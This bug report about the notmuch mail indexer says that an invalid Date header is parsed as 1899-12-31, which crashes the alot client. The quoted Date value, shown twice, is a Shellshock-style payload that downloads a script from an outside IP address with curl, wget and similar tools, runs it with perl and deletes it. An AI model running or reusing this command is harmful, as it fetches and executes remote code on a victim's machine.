bug: notmuch cannot handle invalid Date fields

[Johannes Schauer]

Hi,

I recently received an email with the following date field (the value of all
other headers is the same):

Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;

When doing `notmuch search lwp-download` I get:

thread:000000000001ea6b   1899-12-31 [1/1] {; () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &; (inbox unread)

You can see that the date is 1899-12-31 which is wrong.

This is annoying because the python module datetime which is for example used
by the notmuch client alot cannot handle dates before the year 1900 and will
thus never show this email in its thread view but instead display an exception
every time the view is refreshed.

It would be great if an invalid date could either somehow default to a nil
value or be a date that is 1900 or later.

Thanks!

cheers, josch
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